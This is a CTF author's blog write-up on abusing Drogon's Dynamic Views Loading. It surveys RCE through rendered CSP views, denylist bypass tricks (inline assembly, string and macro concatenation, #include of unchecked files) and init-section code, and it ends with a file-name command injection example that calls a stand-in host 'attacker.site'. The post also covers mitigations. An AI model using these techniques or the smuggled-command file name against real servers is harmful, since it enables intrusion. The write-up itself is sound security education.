Dynamic Views Loading – Abusing Server Side Rendering in Drogon
What could go wrong releasing a C++ web server with "live reload" into the wild?
Earlier this month, I released two CTF web challenges for CrewCTF 2024: Nice View 1 and Nice View 2. These build upon an earlier challenge — an audio synthesis web service running on the Drogon Web Framework. This time, our focus shifts from exploring zip attacks in Juce to exploring an alarming configuration in Drogon: Dynamic Views Loading (hereafter abbreviated DVL).
In a hypothetical situation where a Drogon server with DVL is exposed to hackers, how many holes can be poked? What attack vectors can be achieved?1
At the same time, this is also a good exercise in defensive programming. If we released such a server, what (programming) defences are necessary to cover our sorry arse? When and where should we apply sanitisation and filtering? How do we properly allow “safe” programs? Is that even possible to begin with?
This turned out to be a fascinating endeavour, as there happen to be a ton of ways to compromise a vulnerable DVL-enabled server. In the making of the CTF challenges, I struggled to eliminate every single unintended solution.
Drogon Redux
Drogon is a C++ web framework built with C++17, containing a whole slew of features such as session handling, server side rendering, and websockets — features you would expect in a modern web framework.
Drogon's server side rendering is handled by CSP views (C++ Server Pages). Similar to ASP, JSP, PHP, and other HTML templates, these files are sprinkled with special markup such as <%inc ... %>
, <%c++ ... %>
, and {% ... %}
, which are evaluated when rendered.
Simple View Example
Here's a simple example of a CSP:
We can specify C++ control-flow logic with <%c++ ... %>
and substitute variables with [[ ... ]]
.
To render this file, we'll call newHttpViewResponse
and pass a name
from the URL endpoint:
After starting the server, we can run curl 127.0.0.1:8080/hello/Picard
and observe the following HTML:
Why Use Dynamic Views?
This is all very nice, until our application becomes a gargantuan, unwieldy mess. What if we want to fine-tune some HTML? Each minor change takes a full minute to recompile. Dynamically-typed, scripting languages with hot-reload suddenly look more appealing.
To address this, Drogon supports dynamic loading of views. New CSP files added to a target directory will be automagically compiled and loaded. To enable Dynamic Views Loading, we can add the following lines to our JSON configuration:
or use the C++ equivalent:
Drogon will then actively monitor the file path for new/modified .csp files.
Dynamic Views: Compilation and Loading
How do dynamic views work in Drogon?
After all, C++ is compiled, not interpreted.
But it's possible to load compiled code at runtime through shared objects. These are specially-compiled files which can be loaded on-the-fly. In Drogon, the process goes like so:
- The user writes a .csp file to the dynamic view path. The rest is up to Drogon.
- Drogon detects the new/modified .csp files.
- Drogon translates the .csp to a regular C++ .h and .cc file, using the
drogon_ctl
command-line tool. - The .cc is compiled into a shared object (.so) using the
-shared
flag. - The .so is loaded with
dlopen
, after previous versions are unloaded withdlclose
.2 - The new/updated view can now be used in application code.
All of this happens in SharedLibManager.cc. Feel free to take a gander.
From CSP Markup to C++
Another natural question to ask is: how is CSP markup converted in C++ source code and compiled?
This is quite an important question, since it affects how we can inject code, and the defensive measures needed. We can analyse this by running...
which generates Example.h and Example.cc.
Let's look at how C++ is generated from markup.
<%c++ ... %>
- content inside this tag is inserted into agenText()
function.Example_tmp_stream
is a stringstream used to prepare the final HTML. Eventually, it gets converted to a string and returned.{% ... %}
- equivalent to<%c++ $$ << ... %>
, it just echoes the expression. The closing%}
must be on the same line as the opening{%
.<%inc ... %>
- meant for including additional libraries. Code is placed in file-level scope.[[ ... ]]
- for inserting data passed from application code.
Attack Vectors
There are countless attack vectors to address.
- RCE via Rendered CSP. First, we'll start by looking at a simple PoC which triggers RCE when the view is rendered.
- Bypasses. We'll survey common functions and tricks to bypass a denylist.
- RCE via Init Section. Here, we'll trigger RCE without rendering the view.
- RCE via File Name. Finally, we'll discuss a harrowing insecurity in the DVL code path.
Not all of these were exploitable in my CTF chals. I selected a few vectors which I thought were interesting.
1. RCE via Rendered CSP
Suppose an attacker can write any CSP content in the dynamic views path. In the simplest case where filtering or checking is non-existent, the attacker can execute malicious commands using the usual system
and execve
functions found in libc. This allows us to exfiltrate sensitive information and launch reverse shells.
To trigger this RCE, the application code needs to render the view with HttpResponse::newHttpViewResponse("Example.csp")
.
The following diagram shows where code execution occurs along the pipeline. We'll update the diagram as we explore other vectors.
2. Bypassing Simple Denylists
If the loophole resides in a few key functions, can't we simply block those functions?
No. This is extremely difficult in a diverse language such as C++. Not only does it have its own language features and standard library; but it also inherits most of C's baggage. There are many ways to bypass a denylist. As such, a sufficiently secure denylist will either be exhaustively long or severely limiting.
This goes to show how denylists (blacklists) are generally discouraged from a security PoV, as it's difficult to account for all methods of bypass. In the case of programming languages, however, allowlists (whitelists) are also difficult to construct, as limiting ourselves to a set of tokens severely constrict the realm of possible CSP programs, and may hinder development.3
The only solution, really, is to not enable DVLs. More on mitigations later.
A sufficient denylist needs to consider the following approaches, similar to any C/C++ denylist-bypass challenge. The actual denylist has been left as an exercise for the reader.
fstream
, fopen
File Read/Write with open
, read
File Read/Write with If high-level file IO isn't an option, we could always resort to the lower-level Linux functions.
syscall
File Read/Write, RCE with We can go one level deeper using the syscall()
function. This allows us to call the usual open
, read
, write
, execve
syscalls, albeit less readably.
Thanks to syscall 59, we can also run execve
to achieve RCE.
Handy Reference: Linux x86 Syscalls - filippo.io
mmap
File Read with After opening and creating a file descriptor via open
or syscall(2, ...)
, we can also use mmap
to perform a read instead of the usual read
.
File Read/Write, RCE via Inline Assembly
Pretty much any syscall in C can be translated to assembly, and GCC's extended assembly makes it convenient to pass input and output.
The following CSP opens and reads /etc/passwd
into a buffer, then outputs it. This is equivalent to the open-read idiom we used above.
"b" ( file )
and "d" ( buffer )
are inputs to our asm procedure. The letters b
and d
refer to the %rbx
and %rdx
register. I chose these registers specifically to avoid conflicts. (%rax
gets written with 2
on the first line, %rcx
gets overwritten by the first syscall.)
Exercises for the reader:
- Try to figure out how the assembly maps to the C syscalls in the previous sections.
buffer
is technically an output, so why do we treat it as an input?- Demonstrate RCE by using the execve syscall.
Blocking the keyword syscall
will not work here. We can bypass it with a simple sys" "call
, since adjacent strings are concatenated in C/C++ ("a" "b" == "ab"
). To properly block such calls, we would need to block the functions invoking inline assembly, such as asm
.
Handy Reference: Using Inline Assembly in C/C++
#include
Local File Inclusion with Filters applied to a set of file extensions can be easily bypassed by uploading a file with an unfiltered extension, then #include
-ing it in the CSP. All #include
really does is copy-paste the included file's content, which then gets compiled as C/C++ code.
Example.csp - with stringent checks on denied words.
safe.txt - other C++ code which gets a free pass, possibly using a technique above.
This allows us to bypass situations where, say, .csp files are strictly checked, but certain extensions are not checked at all.
I'll admit this one slipped my mind; quite a few players discovered this unintended solution during the CTF.
##
)
Bypass Denylists with Macro Token Concatenation (C/C++ macros have some quirky features:
#
: Converts a macro argument's value to a string.##
: Joins two arguments.
The second feature allows us to bypass denylists which only match full words.
For instance, if a denylist blocks system
, we can do GLUE(s, ystem)
.
3. RCE via Init Section
The previous tricks use <%c++
which only executes when the view is rendered. But what if I told you we can execute code without even rendering the view?
That's right, all we need is to load the .so to execute code!
Let's look at a few examples of how we can achieve this tomfoolery.
<%inc
Init Section via There are various ways to run code prior to main()
. We can make use of the fact that <%inc
places code in file scope.
When compiled, all of this is placed in the .init_array
section, which allows multiple function pointers to be called during initialisation.
<%c++
and [[
Escaping Function Scope with Blocking <%inc
is not enough. Even with <%c++
and [[
, it is possible to escape function scope and insert a function in the top-level. This is partly by-design, so that like PHP, we can use C++ if-statements and for-loops to dynamically generate HTML. But we can also abuse this to escape the genText()
function.
We demonstrate this with the following CSP:
and here's the generated C++:
The same idea goes for variable markup [[...]]
, the only difference being whitespace is not allowed.
Likewise for <%layout
and <%view
. (Left as an exercise for the reader.)
Thought that was the worst we could do? It gets worse.
4. RCE via File Name
Remember how Drogon runs drogon_ctl
to convert .csp files to .cc files? Guess how this command is run.
That’s right, system()
is called. And since the CSP file name can be pretty much anything — subject to Linux’s file path conditions — we can inject arbitrary commands and achieve RCE!
Additionally, our command can contain slashes, since Drogon recursively scans subdirectories. A file named foo$(curl attacker.site/abcd)
will be treated as a folder (foo$(curl attacker.site/
) + a file (abcd)
).
Takeaways and Mitigations
Although this was meant for a couple fun 48-hour CTF challenges, it feels appropriate to close with some tips on defence.
So what did we learn?
- Drogon, at the moment, does not sandbox or properly sanitise CSP content.4 This is by design, since CSPs inherently contain trusted content.
- There are three main ways to achieve RCE on a DVL-enabled Drogon server. And this comes with the prerequisite of file-write privileges.
- RCE via Rendered CSP
- RCE via Init Section
- RCE via File Name
- Denylists need to consider a wide range of bypass methods.
And mitigations?
- Don't enable Dynamic Views Loading, unless you're in a local dev environment. Switch off DVL after using.
- Don't allow untrusted input to be compiled and loaded as views; statically or dynamically.
- Protecc your dynamic views directory. Don't allow untrusted files to be written there.
- It doesn't matter if the view will be rendered in application code, because — as we discovered earlier — once
drogon_ctl
is run, an RCE endpoint is already exposed.
- It doesn't matter if the view will be rendered in application code, because — as we discovered earlier — once
- If, on the off chance, your environment accepts untrusted CSP files, you should consider using some filtering/denylist mechanism.
Do I expect the RCE issues to be fixed? Considering the purpose of DVLs... probably not. Judging by the maintainer's stance, DVLs are purely meant for development:
Note: This feature is best used to adjust the HTML page during the development phase. In the production environment, it is recommended to compile the csp file directly into the target file. This is mainly for security and stability. (Source)
Conclusion
Although Dynamic Views Loading (DVL) seems appealing for implementing features such as user-generated content or dynamically adding plugins, DVL is a dangerous liability if left in the open. In this post, we've demonstrated multiple ways to exploit DVL, given file-write privileges. DVL is ill-suited for production-use and should only be used for its intended purpose — local testing in development environments.
Footnotes
This situation may be less hypothetical than we think. According to Shodan, there are over 1000 servers around the world running Drogon. How many do you think were poorly configured, with devs thinking… “I’ll just enable Dynamic Views Loading for convenience. Nobody can find my IP anyway.” I’m willing to bet there’s at least 1. ↩︎
dlopen
seems to only be available on Unix-like machines. ↩︎Whitelisting a program's AST could prove effective, but this requires us to first generate an AST — a non-trivial problem. ↩︎
At the time of writing, I'm using Drogon version 1.9.1. ↩︎
Comments are back! Privacy-focused, without ads, bloatware, and trackers. Be one of the first to contribute to the discussion — I'd love to hear your thoughts.